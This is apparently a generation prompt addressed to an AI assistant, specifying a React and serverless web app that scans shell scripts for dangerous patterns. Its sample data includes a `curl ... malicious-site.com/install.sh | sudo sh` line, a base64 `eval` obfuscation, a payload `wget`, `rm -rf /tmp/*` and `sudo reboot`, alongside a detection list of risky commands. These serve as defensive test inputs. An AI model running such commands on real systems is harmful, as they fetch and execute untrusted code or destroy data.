You are an AI assistant tasked with generating a single-page serverless web application using React, Tailwind CSS, and serverless functions for script analysis. The application should allow users to securely analyze shell scripts before execution.
**PROJECT OVERVIEW:**
'Secure Command Executor' is a web application designed to mitigate the risks associated with executing arbitrary shell scripts from untrusted sources. Inspired by the common practice of piping commands directly to `sudo sh`, which can be extremely dangerous, this tool provides a safe, sandboxed environment for users to upload or paste their scripts. It performs static code analysis to identify potentially malicious commands, risky patterns, and unwanted side effects. A detailed risk assessment report is generated, empowering users to make informed decisions about script execution. The core value proposition is to provide peace of mind and enhance security for developers, system administrators, and DevOps engineers.
**TECH STACK:**
- **Frontend:** React (using Vite for fast development), Tailwind CSS for styling.
- **State Management:** Zustand or Jotai for efficient global state management.
- **Routing:** React Router DOM (if needed for future expansion, but initially aiming for a single page).
- **UI Components:** Headless UI or Radix UI for accessible and customizable components.
- **Serverless Backend:** AWS Lambda (or similar like Netlify Functions/Vercel Functions) for executing the analysis logic. This will handle script execution within a sandbox and perform static analysis.
- **API Communication:** `fetch` API or `axios`.
- **Syntax Highlighting:** Prism.js or Highlight.js for displaying code.
- **Drag and Drop:** `react-dropzone` for file uploads.
**CORE FEATURES:**
1. **Script Input:**
* **File Upload:** Users can drag and drop `.sh` files or use a traditional file input. Implemented using `react-dropzone`.
* **Text Area Input:** Users can paste script content directly into a large, syntax-highlighted text area.
* **User Flow:** On the main page, users see clear options for uploading a file or pasting text. The UI should be intuitive, guiding the user to provide the script.
2. **Analysis Execution:**
* **Sandbox Environment:** Upon submission, the script is sent to a serverless function. This function executes the script within a secure, isolated container (e.g., using Docker or a similar sandboxing technology). This prevents any actual harm to the user's system or the server.
* **Static Analysis Engine:** The serverless function will parse the script using shell scripting parsers and linters. It will identify:
* Use of `sudo`, `rm -rf`, `dd`, `mkfs`, etc.
* Network-related commands (`curl`, `wget`, etc.) pointing to suspicious URLs.
* File system manipulations (creating, deleting, modifying files).
* Obfuscation techniques.
* Potential command injection vulnerabilities.
* The `curl | sudo sh` pattern.
* **User Flow:** After providing the script, the user clicks a 'Analyze' button. A loading indicator is displayed while the analysis occurs (which might take a few seconds to minutes depending on script complexity and sandbox setup).
3. **Results Display:**
* **Risk Score:** A prominent, easily understandable risk score (e.g., 0-100 or Low/Medium/High) is displayed.
* **Detailed Report:** A breakdown of the analysis findings:
* **Potentially Dangerous Commands:** Lists commands identified as high-risk.
* **Network Activity:** Details any outgoing network requests identified.
* **File System Changes:** Summarizes expected file operations.
* **Warnings/Info:** Highlights obfuscated code, suspicious patterns, or general information.
* **Code Snippets:** Links findings back to the specific lines in the script.
* **Sandbox Output (Optional but Recommended):** If the script was run in the sandbox, display its stdout and stderr.
* **User Flow:** Once analysis is complete, the results page/section loads, showing the risk score at the top, followed by the detailed report. Findings should be collapsible/expandable for better readability.
**UI/UX DESIGN:**
- **Layout:** Single-page application (SPA) design. A clean, modern, and focused interface. Header with logo/app name, main content area for input and results, potentially a simple footer.
- **Color Palette:** Primarily dark theme for a developer-centric feel. Use accent colors (e.g., red for high risk, yellow for warnings, green for safe indicators) judiciously. Example: `#1a1a1a` (dark background), `#ffffff` (text), `#4a90e2` (primary accent), `#e53e3e` (danger), `#ecc94b` (warning).
- **Typography:** Clean, readable sans-serif font (e.g., Inter, Roboto, or similar). Use varying weights and sizes for hierarchy.
- **Responsiveness:** Mobile-first design. The layout should adapt gracefully to various screen sizes (desktops, tablets, mobiles). Ensure text areas, buttons, and reports are usable on smaller screens.
- **Components:** Utilize a design system approach with reusable components (Button, Input, Card, Modal, CodeBlock, Spinner).
**COMPONENT BREAKDOWN:**
- `App.js`: Main component, handles routing (if any) or conditional rendering of Input/Results sections.
- `Header.js`: Displays the application title and potentially navigation.
- `ScriptInput.js`: Contains the file upload (`react-dropzone`) and text area components. Manages local script state.
- `CodeEditor.js`: A wrapper around Prism.js/Highlight.js for displaying/editing code with syntax highlighting.
- `AnalysisButton.js`: The submit button, triggers the analysis function.
- `LoadingSpinner.js`: Displays a visual indicator during the analysis process.
- `ResultsPage.js`: Displays the analysis results, including the risk score and detailed report.
- `RiskScore.js`: Component specifically for displaying the calculated risk score.
- `FindingsSection.js`: Renders the categorized findings (dangerous commands, network activity, etc.).
- `FindingItem.js`: Represents a single finding within a section, showing details and code snippet references.
- `Footer.js`: Simple footer component.
**DATA MODEL:**
- **State Structure (using Zustand/Jotai):**
```javascript
// Example state atom/slice
{
scriptContent: '', // string, the script text
fileName: null, // string, name of the uploaded file
isAnalyzing: false, // boolean
analysisResults: null, // object | null, structure below
error: null, // string | null, for API errors
inputType: 'text' | 'file' // 'text' or 'file'
}
// analysisResults object structure
{
riskScore: number, // e.g., 0-100
summary: string, // Overall summary
findings: {
dangerousCommands: [
{ line: number, command: string, description: string }
],
networkActivity: [
{ line: number, command: string, url: string }
],
fileSystemChanges: [
{ line: number, command: string, operation: string }
],
warnings: [
{ line: number, message: string }
],
obfuscation: boolean,
sandboxOutput: { stdout: string, stderr: string } | null
}
}
```
- **Mock Data Format:** Mock data should follow the `analysisResults` structure. Ensure variety including safe scripts, moderately risky scripts, and highly dangerous scripts.
**ANIMATIONS & INTERACTIONS:**
- **Button Hovers:** Subtle background color change or slight scale effect on buttons.
- **Transitions:** Smooth transitions for expanding/collapsing sections in the report (`react-transition-group` or Tailwind CSS transitions).
- **Loading State:** Use a `LoadingSpinner` component with a subtle animation. The button should be disabled during analysis, possibly changing its appearance.
- **File Upload:** Visual feedback during drag-and-drop (e.g., border highlight) and after file selection.
- **Micro-interactions:** Subtle animations on score display, perhaps a progress bar effect if feasible.
**EDGE CASES:**
- **Empty Input:** Prevent analysis if no script content is provided. Display a clear message.
- **Large Files:** Implement limits on file size and script length, providing feedback to the user.
- **API Errors:** Gracefully handle errors from the serverless function (e.g., network issues, execution timeouts, sandbox errors). Display user-friendly error messages.
- **Invalid Script Syntax:** The analysis engine should ideally report syntax errors found during parsing.
- **Long Analysis Times:** Implement a timeout for the serverless function and inform the user if analysis takes too long.
- **Accessibility (a11y):** Ensure all interactive elements are keyboard-navigable and have appropriate ARIA attributes. Use semantic HTML. Ensure sufficient color contrast.
**SAMPLE DATA:**
1. **Safe Script:**
```sh
#!/bin/bash
echo "Hello, World!"
ls -l
exit 0
```
*Expected Result: Risk Score: Low (e.g., 5), Findings: Minimal, maybe note `ls -l` as file system info.
2. **Script with Network Request:**
```sh
#!/bin/bash
echo "Downloading update list..."
curl -s https://example.com/updates.txt > /tmp/updates.txt
echo "Update list downloaded."
exit 0
```
*Expected Result: Risk Score: Medium (e.g., 40), Finding: Network Activity detected: `curl` to `https://example.com/updates.txt`.
3. **Risky Command (No Sudo):**
```sh
#!/bin/bash
echo "WARNING: THIS WILL DELETE FILES!"
rm -f /tmp/somefile.txt
echo "File deleted (maybe)."
exit 0
```
*Expected Result: Risk Score: High (e.g., 75), Finding: Dangerous Command: `rm -f /tmp/somefile.txt`.
4. **Highly Dangerous Script:**
```sh
#!/bin/bash
echo "Rebooting immediately!"
sudo reboot
```
*Expected Result: Risk Score: Very High (e.g., 95), Finding: Dangerous Command: `sudo reboot`. Should not actually reboot due to sandbox.
5. **The `curl | sudo sh` Pattern:**
```sh
curl -fsSL https://malicious-site.com/install.sh | sudo sh
```
*Expected Result: Risk Score: Critical (e.g., 100), Findings: Detects `curl | sudo sh` pattern, Network Activity, Dangerous Command (`sudo sh`).
6. **Obfuscated Script:**
```sh
#!/bin/bash
eval $(echo "base64encodedstringhere" | base64 -d)
```
*Expected Result: Risk Score: Medium-High (e.g., 60), Finding: Obfuscation detected using `eval` and base64.
7. **Script with Mixed Risks:**
```sh
#!/bin/bash
echo "System check..."
df -h
echo "Cleaning temp files..."
rm -rf /tmp/*
echo "Fetching payload..."
wget http://example.com/payload.bin -O /tmp/payload.bin
sudo systemctl restart dangerous.service
```
*Expected Result: Risk Score: Very High (e.g., 90), Findings: File System Changes (`rm -rf`), Network Activity (`wget`), Dangerous Command (`sudo systemctl restart`).
**DEPLOYMENT NOTES:**
- **Serverless Function:** Configure the serverless function with appropriate environment variables for any necessary API keys or configurations. Ensure the sandbox execution environment is correctly set up (e.g., Docker image). Set appropriate timeouts.
- **Build Process:** Use Vite's build command (`npm run build`). The output will be static assets suitable for hosting on services like Netlify, Vercel, AWS S3/CloudFront, or GitHub Pages.
- **Environment Variables:** Use `.env` files for local development and configure environment variables in the deployment platform for production (e.g., API endpoints for the serverless function).
- **Performance:** Optimize React build for production. Lazy load components if the app grows. Ensure the serverless function is efficient and has a reasonable execution timeout.
- **CORS:** Configure CORS headers on the serverless function to allow requests from the frontend domain.
- **Security:** Sanitize all inputs. Ensure the sandbox environment is truly isolated. Do not store user scripts on the server long-term. Rate limiting might be necessary to prevent abuse.